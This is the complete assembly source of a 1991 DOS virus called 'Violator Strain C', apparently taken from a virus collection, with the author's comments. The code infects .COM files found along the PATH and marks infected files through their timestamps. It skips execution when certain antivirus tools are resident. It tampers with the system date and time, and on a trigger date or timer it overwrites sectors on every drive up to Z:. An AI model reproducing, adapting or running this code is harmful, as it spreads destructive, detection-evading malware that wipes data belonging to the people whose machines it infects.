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Assembly Source File | 1991-04-24 | 15.9 KB | 442 lines

; ; Violator Strain C - "Violator strikes again..." ; ; Written by The High Evolutionary ; RABID International Development Corp. ; ; ; Here are the equates for when the virus will destroy media ; month equ 6 ;Set month to June day equ 22 ;Set day to the 22nd year equ 1991 ;Set year to 1991 sectors equ 256 ;Fry 256 sectors on the diskette lastdrv equ 26 ;Set lastdrive to be fried here CODE SEGMENT ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE ORG $+0100H @write macro drive,sec,buf pushf ; Push all flags onto the stack mov al,drive ; Select drive to write mov cx,sec ; Choose amount of sectors mov dx,0 ; Set format to start at sec. 0 mov bx,offset buf ; Set format to have intro ; string imbedded in sector 0 int 26h ; Call BIOS to write drive popf ; Restore the flags we pushed endm violator: JMP virus NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP v_start equ $ virus: PUSH CX MOV DX,OFFSET vir_dat ;This is where the virus data starts. ; The 2nd and 3rd bytes get modified. CLD ;Pointers will be auto INcremented MOV SI,DX ;Access data as offset from SI ADD SI,first_3 ;Point to original 1st 3 bytes of .COM MOV DI,OFFSET 100H ;`cause all .COM files start at 100H MOV CX,3 REPZ MOVSB ;Restore original first 3 bytes of .COM MOV SI,DX ;Keep SI pointing to the data area ; ; This routine here will check to see if FSP or VirexPC is active. If it is, ; then we will not run as to avoid detection... ; ; This is done by using some wierd undocumented DOS call which I've never seen ; before, but nonetheless, it does the job... ; mov ax,0ff0fh ;Check memory marker int 21h cmp ax,101h ;Is the marker for VirexPC/FSP resident jne year_check ;No? Continue with the virus jmp quit ;Yes! Terminate the virus year_check: MOV AH,2AH ; Get date info INT 21h ; CMP CX,year ; Check if it's (year) jb get_space ; Not the year, then must be an ; XT... JGE month_check ; Yes? Check the month JMP do_shit ; No? Go to infection routine month_check: mov ah,2ah int 21h CMP DH,month ; Check if it's (month) JGE day_check ; Yeah? Check the day JMP do_shit ; No? Infect a phile day_check: CMP DL,day ; Check if it's (day) JGE fry_drives ; Yeah? Kill all drives JMP do_shit ; No? Infect a poor guy! get_space: cmp cx,1990 ; Did we change the clock? je was_changed ; Yes we did. Continue... ; ; We only get here if the date is not 1990 ; mov ah,2bh mov cx,1990 ; Set date to 1990 int 21h mov ah,2dh mov cl,1 ; Set minutes to 1 int 21h ; ; We only get here is the date is 1990. Check clock... ; was_changed: mov ah,2ch int 21h ; Get time cmp cl,15 ; 15 minutes... jae fry ; Have we been run after 15 ; minutes of usage? Yes! Fry! jmp month_check ; No! Continue... ; ; Only print this if it's June 22nd, 1991 ; fry_drives: mov ah,9 mov dx,si ; Load DX with SI segment add dx,strike ; Print out a message int 21h fry: cmp byte ptr [si+drv],lastdrv ; Check to see if the last ; drive is fried ja do_shit ; If yeah. Then gedoudahere @write [si+drv],256,intro ; No? Then fry the drive... inc byte ptr [si+drv] ; Increment for the next drive jmp fry ; Then go up and fry another do_shit:PUSH ES ; Push ES onto the stack MOV AH,2FH INT 21H MOV [SI+old_dta],BX MOV [SI+old_dts],ES ;Save the DTA address from ES POP ES ;Restore the original ES segment MOV DX,dta ;Offset of new DTA in virus data area ADD DX,SI ;Compute DTA address MOV AH,1AH INT 21H ;Set new DTA to inside our own code PUSH ES ;Push ES onto the stack PUSH SI ;Push the source index MOV ES,DS:2CH MOV DI,0 ;ES:DI points to environment find_path: POP SI PUSH SI ;Get SI back ADD SI,env_str ;Point to "PATH=" string in data area LODSB MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long REPNZ SCASB ;Search for first character MOV CX,4 check_next_4: LODSB SCASB JNZ find_path ;If not all there, abort & start over LOOP check_next_4 ;Loop to check the next character POP SI POP ES MOV [SI+path_ad],DI ;Save the address of the PATH MOV DI,SI ADD DI,wrk_spc ;File name workspace MOV BX,SI ;Save a copy of SI ADD SI,wrk_spc ;Point SI to workspace MOV DI,SI ;Point DI to workspace JMP SHORT slash_ok set_subdir: CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended? JNZ found_subdir ;If not, there are more subdirectories JMP all_done ;Else, we're all done found_subdir: PUSH DS PUSH SI MOV DS,ES:2CH ;DS points to environment segment MOV DI,SI MOV SI,ES:[DI+path_ad] ;SI = PATH address ADD DI,wrk_spc ;DI points to file name workspace move_subdir: LODSB ;Get character CMP AL,';' ;Is it a ';' delimiter? JZ moved_one ;Yes, found another subdirectory CMP AL,0 ;End of PATH string? JZ moved_last_one ;Yes STOSB ;Save PATH marker into [DI] JMP SHORT move_subdir moved_last_one: MOV SI,0 moved_one: POP BX ;Pointer to virus data area POP DS ;Restore DS MOV [BX+path_ad],SI ;Address of next subdirectory CMP CH,'\' ;Ends with "\"? JZ slash_ok ;If yes MOV AL,'\' ;Add one, if not STOSB slash_ok: MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace MOV SI,BX ;Restore SI ADD SI,f_spec ;Point to "*.COM" MOV CX,6 ;Set to read in 6 bytes REPZ MOVSB ;Move "*.COM",0 to workspace MOV SI,BX MOV AH,4EH MOV DX,wrk_spc ADD DX,SI ;DX points to "*.COM" in workspace MOV CX,3 ;Attributes of Read Only or Hidden OK INT 21H JMP SHORT find_first find_next: MOV AH,4FH INT 21H find_first: JNB found_file ;Jump if we found it JMP SHORT set_subdir ;Otherwise, get another subdirectory found_file: MOV AX,[SI+dta_tim] ;Get time from DTA AND AL,1CH ;Mask to remove all but seconds CMP AL,1CH ;56 seconds -> already infected JZ find_next ;If so, go find another file ;****************************************************************************** ;Is the file too long? If it's 64000 bytes, then don't infect it ;****************************************************************************** CMP WORD PTR [SI+dta_len],(0FA00H-virlen) ;Is the file too large ; ; Here we take into acount that the file will fit into even the largest legal ; COM file... ; JA find_next ;If too long, find another one ;****************************************************************************** ;Is it too short? If it's 1500 bytes or smaller, then don't infect it ;****************************************************************************** CMP WORD PTR [SI+dta_len],5dcH JB find_next ;Then go find another one MOV DI,[SI+nam_ptr] ;DI points to file name PUSH SI ;Save SI ADD SI,dta_nam ;Point SI to file name more_chars: LODSB STOSB CMP AL,0 JNZ more_chars ;Move characters until we find a 00 POP SI MOV AX,OFFSET 4300H MOV DX,wrk_spc ;Point to \path\name in workspace ADD DX,SI INT 21H MOV [SI+old_att],CX ;Save the old attributes MOV AX,OFFSET 4301H ;Set attributes AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird) MOV DX,wrk_spc ;Offset of \path\name in workspace ADD DX,SI ;Point to \path\name INT 21H MOV AX,OFFSET 3D02H ;Read/Write MOV DX,wrk_spc ;Offset to \path\name in workspace ADD DX,SI ;Point to \path\name INT 21H JNB opened_ok ;If file was opened OK JMP fix_attr ;If it failed, restore the attributes opened_ok: MOV BX,AX MOV AX,OFFSET 5700H INT 21H MOV [SI+old_tim],CX ;Save file time MOV [SI+ol_date],DX ;Save the date MOV AH,2CH INT 21H infect: MOV AH,3FH MOV CX,3 MOV DX,first_3 ADD DX,SI INT 21H ;Save first 3 bytes into the data area JB fix_time_stamp ;Quit, if read failed CMP AX,3 ;Were we able to read all 3 bytes? JNZ fix_time_stamp ;Quit, if not MOV AX,OFFSET 4202H MOV CX,0 MOV DX,0 INT 21H JB fix_time_stamp ;Quit, if it didn't work MOV CX,AX ;DX:AX (long int) = file size SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here) MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction ADD CX,OFFSET c_len_y MOV DI,SI ;Point DI to virus data area SUB DI,OFFSET c_len_x ;Point DI to reference vir_dat, at start of pgm MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm MOV AH,40H MOV CX,virlen ;Length of virus, in bytes MOV DX,SI SUB DX,OFFSET codelen ;Length of virus code, gives starting ;address of virus code in memory INT 21H JB fix_time_stamp ;Jump if error CMP AX,OFFSET virlen ;All bytes written? JNZ fix_time_stamp ;Jump if error MOV AX,OFFSET 4200H MOV CX,0 MOV DX,0 INT 21H JB fix_time_stamp ;Jump if error MOV AH,40H MOV CX,3 MOV DX,SI ;Virus data area ADD DX,jmp_op ;Point to the reconstructed JMP INT 21H fix_time_stamp: MOV DX,[SI+ol_date] ;Old file date MOV CX,[SI+old_tim] ;Old file time AND CX,OFFSET 0FFE0H OR CX,1CH MOV AX,OFFSET 5701H INT 21H MOV AH,3EH INT 21H fix_attr: MOV AX,OFFSET 4301H MOV CX,[SI+old_att] ;Old Attributes MOV DX,wrk_spc ADD DX,SI ;DX points to \path\name in workspace INT 21H all_done: PUSH DS MOV AH,1AH MOV DX,[SI+old_dta] MOV DS,[SI+old_dts] INT 21H POP DS quit: POP CX XOR AX,AX XOR BX,BX XOR DX,DX XOR SI,SI MOV DI,OFFSET 0100H ;Move offset 100h into DI PUSH DI ;Push DI onto the stack XOR DI,DI ;Zero it out RET 0FFFFH ;Jump to the location in DI ; ; This little trick is used to jump back to the beginning of the program after ; our JMP instruction. This is to return control to the host program. ; vir_dat EQU $ drv_ db 2 ;drv is the drive to be ;nuked! (Drive C:) intro_ DB 13,10 db 'Violator Strain C - (C) 1991 RABID Int''nl Development Corp.' db 13,10 strike_ db 13,10 db 'Violator strikes again...' db 13,10,'$' olddta_ DW 0 ;Old DTA offset olddts_ DW 0 ;Old DTA segment oldtim_ DW 0 ;Old Time oldate_ DW 0 ;Old date oldatt_ DW 0 ;Old file attributes first3_ EQU $ INT 20H ;3 byte equate to terminate program NOP jmpop_ DB 0E9H ;Start of JMP instruction jmpdsp_ DW 0 ;The displacement part envstr_ DB 'PATH=' ;Find this in the environment fspec_ DB '*.COM',0 ;What to infect??? pathad_ DW 0 ;Path address namptr_ DW 0 ;Pointer to start of file name wrkspc_ DB 40h dup (0) dta_ DB 16h dup (0) ;Temporary DTA goes here dtatim_ DW 0,0 ;Time stamp in DTA dtalen_ DW 0,0 ;File length in the DTA dtanam_ DB 0Dh dup (0) ;File name in the DTA lst_byt EQU $ virlen = lst_byt - v_start ;Length, in bytes, of the entire virus codelen = vir_dat - v_start ;Length of virus code, only c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code c_len_y = vir_dat - v_start + 100H drv = drv_ - vir_dat intro = intro_ - vir_dat strike = strike_ - vir_dat old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp ol_date = oldate_ - vir_dat ;Displacement to old file date stamp old_att = oldatt_ - vir_dat ;Displacement to old attributes first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string path_ad = pathad_ - vir_dat ;Displacement to the path address nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace dta = dta_ - vir_dat ;Displacement to the temporary DTA dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA CODE ENDS END violator